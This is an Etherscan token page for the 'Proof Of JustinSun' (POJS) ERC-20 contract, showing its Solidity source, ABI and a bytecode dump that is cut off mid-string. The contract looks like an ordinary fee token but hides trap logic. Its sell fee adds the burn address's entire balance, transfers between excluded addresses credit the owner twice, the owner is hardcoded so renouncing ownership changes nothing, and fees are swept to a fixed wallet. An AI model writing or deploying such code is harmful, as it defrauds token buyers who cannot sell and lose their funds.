ETH Price: $2,480.68 (-1.31%)

Token

Proof Of JustinSun (POJS)
 

Overview

Max Total Supply

1,000,000,000 POJS

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Balance
18,014,816.080164553804 POJS

Value
$0.00
0xf46d6e90723cf72b2a6c534531e700ada0bf4ce9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ProofOfJustinSun

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-10
*/

/*
Telegram : https://t.me/ProofOfJustinSun
*/
// SPDX-License-Identifier: None

pragma solidity 0.8.15;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}





interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


   

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
    constructor () {
         _owner = 0x6F502304D5323f5A7060Ea8937742180E46C0d69;

        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    function renounceOwnership() public virtual  {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}





contract ProofOfJustinSun is Context, IERC20, Ownable { 

     using SafeMath for uint256;


    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 12;
    uint256 public _tTotal =  10**9 * 10**_decimals;
    string private constant _name = unicode"Proof Of JustinSun"; 
    string private constant _symbol = unicode"POJS"; 



    uint8 private txCount = 0;
    uint8 private swapTrigger = 5; 
    uint256 public _BuyFee = 30; // 1000
    uint256 public _SellFee = 30;

    uint256 public _maxWalletToken = 60 * _tTotal.div(1000);
    uint256 public _maxTxAmount = _maxWalletToken; 
                          
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
   
    
    constructor () {
        _tOwned[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //0x10ED43C718714eb63d5aA57B78B54704E256024E
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;

        emit Transfer(address(0), address(this), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


 function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20 ERR: approve from the zero address");
        require(spender != address(0), "BEP20 ERR: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
/*
 function addLiquidity() public {
     // require(_isExcludedFromFee[_msgSender()]);
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0,
            _msgSender(), 
            block.timestamp

            // require(_isExcludedFromFee[_msgSender()]);
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0,
            _msgSender(), 
            block.timestamp
        );
    } 
*/
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] &&
            to != uniswapV2Pair){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");

        
        require(amount > 0, "Token amount must be higher than 0.");    }

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] ){
        if(
            txCount >= swapTrigger && 
            from != uniswapV2Pair
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapTokensForETH(contractTokenBalance);
            uint256 ETH_Tot = address(this).balance;
            sendToWallet(payable(0x6F502304D5323f5A7060Ea8937742180E46C0d69), ETH_Tot);
        }
    }
        bool takeFee = true;
        bool isBuy;   
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
            if(from == uniswapV2Pair){
                isBuy = true;
            }
           
            txCount++;
        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);
    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }




    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {        
        if(!takeFee){
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            if(_isExcludedFromFee[sender] && _isExcludedFromFee[recipient]){
              _tOwned[recipient] = _tOwned[recipient]+tAmount;
        } else {emit Transfer(sender, recipient, tAmount); }   
            } else if (isBuy){
            uint256 buyFEE = tAmount*_BuyFee/1000;
            uint256 tTransferAmount = tAmount-buyFEE;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            } else {
            uint256 sellFEE = _SellFee*tAmount/1000 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
         

            uint256 tTransferAmount = tAmount-sellFEE;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            }

    }


 function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600a6200001491906200078c565b633b9aca00620000259190620007dd565b6004556000600560006101000a81548160ff021916908360ff16021790555060058060016101000a81548160ff021916908360ff160217905550601e600655601e600755620000876103e8600454620005b160201b62000ada1790919060201c565b603c620000959190620007dd565b600855600854600955348015620000ab57600080fd5b50736f502304d5323f5a7060ea8937742180e46c0d696000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36004546001600062000192620005c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000235573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025b9190620008a8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e99190620008a8565b6040518363ffffffff1660e01b815260040162000308929190620008eb565b6020604051808303816000875af115801562000328573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034e9190620008a8565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000620003e5620005c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620005a2919062000929565b60405180910390a350620009ad565b60008183620005c1919062000975565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200068057808604811115620006585762000657620005f2565b5b6001851615620006685780820291505b8081029050620006788562000621565b945062000638565b94509492505050565b6000826200069b57600190506200076e565b81620006ab57600090506200076e565b8160018114620006c45760028114620006cf5762000705565b60019150506200076e565b60ff841115620006e457620006e3620005f2565b5b8360020a915084821115620006fe57620006fd620005f2565b5b506200076e565b5060208310610133831016604e8410600b84101617156200073f5782820a905083811115620007395762000738620005f2565b5b6200076e565b6200074e84848460016200062e565b92509050818404811115620007685762000767620005f2565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007998262000775565b9150620007a6836200077f565b9250620007d57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000689565b905092915050565b6000620007ea8262000775565b9150620007f78362000775565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008335762000832620005f2565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008708262000843565b9050919050565b620008828162000863565b81146200088e57600080fd5b50565b600081519050620008a28162000877565b92915050565b600060208284031215620008c157620008c06200083e565b5b6000620008d18482850162000891565b91505092915050565b620008e58162000863565b82525050565b6000604082019050620009026000830185620008da565b620009116020830184620008da565b9392505050565b620009238162000775565b82525050565b600060208201905062000940600083018462000918565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009828262000775565b91506200098f8362000775565b925082620009a257620009a162000946565b5b828204905092915050565b61257280620009bd6000396000f3fe60806040526004361061012e5760003560e01c8063768dc710116100ab578063a457c2d71161006f578063a457c2d714610405578063a9059cbb14610442578063af465a271461047f578063dd62ed3e146104aa578063e033da2a146104e7578063fa9771691461051257610135565b8063768dc7101461031c57806378109e54146103595780637d1db4a5146103845780638da5cb5b146103af57806395d89b41146103da57610135565b8063313ce567116100f2578063313ce56714610235578063395093511461026057806349bd5a5e1461029d57806370a08231146102c8578063715018a61461030557610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f61053d565b60405161015c9190611c95565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611d50565b61057a565b6040516101999190611dab565b60405180910390f35b3480156101ae57600080fd5b506101b7610598565b6040516101c49190611e25565b60405180910390f35b3480156101d957600080fd5b506101e26105be565b6040516101ef9190611e4f565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190611e6a565b6105c8565b60405161022c9190611dab565b60405180910390f35b34801561024157600080fd5b5061024a6106be565b6040516102579190611ed9565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611d50565b6106c7565b6040516102949190611dab565b60405180910390f35b3480156102a957600080fd5b506102b261077a565b6040516102bf9190611f03565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611f1e565b6107a0565b6040516102fc9190611e4f565b60405180910390f35b34801561031157600080fd5b5061031a6107e9565b005b34801561032857600080fd5b50610343600480360381019061033e9190611f1e565b6108a7565b6040516103509190611dab565b60405180910390f35b34801561036557600080fd5b5061036e6108c7565b60405161037b9190611e4f565b60405180910390f35b34801561039057600080fd5b506103996108cd565b6040516103a69190611e4f565b60405180910390f35b3480156103bb57600080fd5b506103c46108d3565b6040516103d19190611f03565b60405180910390f35b3480156103e657600080fd5b506103ef6108fc565b6040516103fc9190611c95565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190611d50565b610939565b6040516104399190611dab565b60405180910390f35b34801561044e57600080fd5b5061046960048036038101906104649190611d50565b610a23565b6040516104769190611dab565b60405180910390f35b34801561048b57600080fd5b50610494610a41565b6040516104a19190611e4f565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190611f4b565b610a47565b6040516104de9190611e4f565b60405180910390f35b3480156104f357600080fd5b506104fc610ace565b6040516105099190611e4f565b60405180910390f35b34801561051e57600080fd5b50610527610ad4565b6040516105349190611e4f565b60405180910390f35b60606040518060400160405280601281526020017f50726f6f66204f66204a757374696e53756e0000000000000000000000000000815250905090565b600061058e610587610af0565b8484610af8565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b60006105d5848484610cc1565b6106b3846105e1610af0565b6106ae856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610664610af0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115d9092919063ffffffff16565b610af8565b600190509392505050565b6000600c905090565b60006107706106d4610af0565b8461076b85600260006106e5610af0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b290919063ffffffff16565b610af8565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60036020528060005260406000206000915054906101000a900460ff1681565b60085481565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f504f4a5300000000000000000000000000000000000000000000000000000000815250905090565b6000610a19610946610af0565b84610a14856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f00000000008152506002600061098d610af0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115d9092919063ffffffff16565b610af8565b6001905092915050565b6000610a37610a30610af0565b8484610cc1565b6001905092915050565b60045481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b60065481565b60008183610ae89190611fe9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5e9061208c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd9061211e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cb49190611e4f565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610d655750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610dbf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610e66576000610dcf836107a0565b90506008548282610de0919061213e565b1115610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e18906121e0565b60405180910390fd5b60008211610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90612272565b60405180910390fd5b505b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f0a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610fff57600560019054906101000a900460ff1660ff16600560009054906101000a900460ff1660ff1610158015610f915750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610ffe576000610fa1306107a0565b9050600954811115610fb35760095490505b6000600560006101000a81548160ff021916908360ff160217905550610fd8816111c8565b6000479050610ffb736f502304d5323f5a7060ea8937742180e46c0d698261140b565b50505b5b6000600190506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110a85750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110b65760009150611149565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361111057600190505b6005600081819054906101000a900460ff168092919061112f90612292565b91906101000a81548160ff021916908360ff160217905550505b6111568585858585611456565b5050505050565b60008383111582906111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c9190611c95565b60405180910390fd5b5082840390509392505050565b600081836111c0919061213e565b905092915050565b6000600267ffffffffffffffff8111156111e5576111e46122bb565b5b6040519080825280602002602001820160405280156112135781602001602082028036833780820191505090505b509050308160008151811061122b5761122a6122ea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f6919061232e565b8160018151811061130a576113096122ea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061137130600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610af8565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016113d5959493929190612454565b600060405180830381600087803b1580156113ef57600080fd5b505af1158015611403573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611451573d6000803e3d6000fd5b505050565b8161171c5782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a6919061213e565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153491906124ae565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156116195750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116b15782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611669919061213e565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611717565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161170e9190611e4f565b60405180910390a35b611bf5565b80156119675760006103e86006548561173591906124e2565b61173f9190611fe9565b90506000818561174f91906124ae565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179c91906124ae565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182a919061213e565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b8919061213e565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3e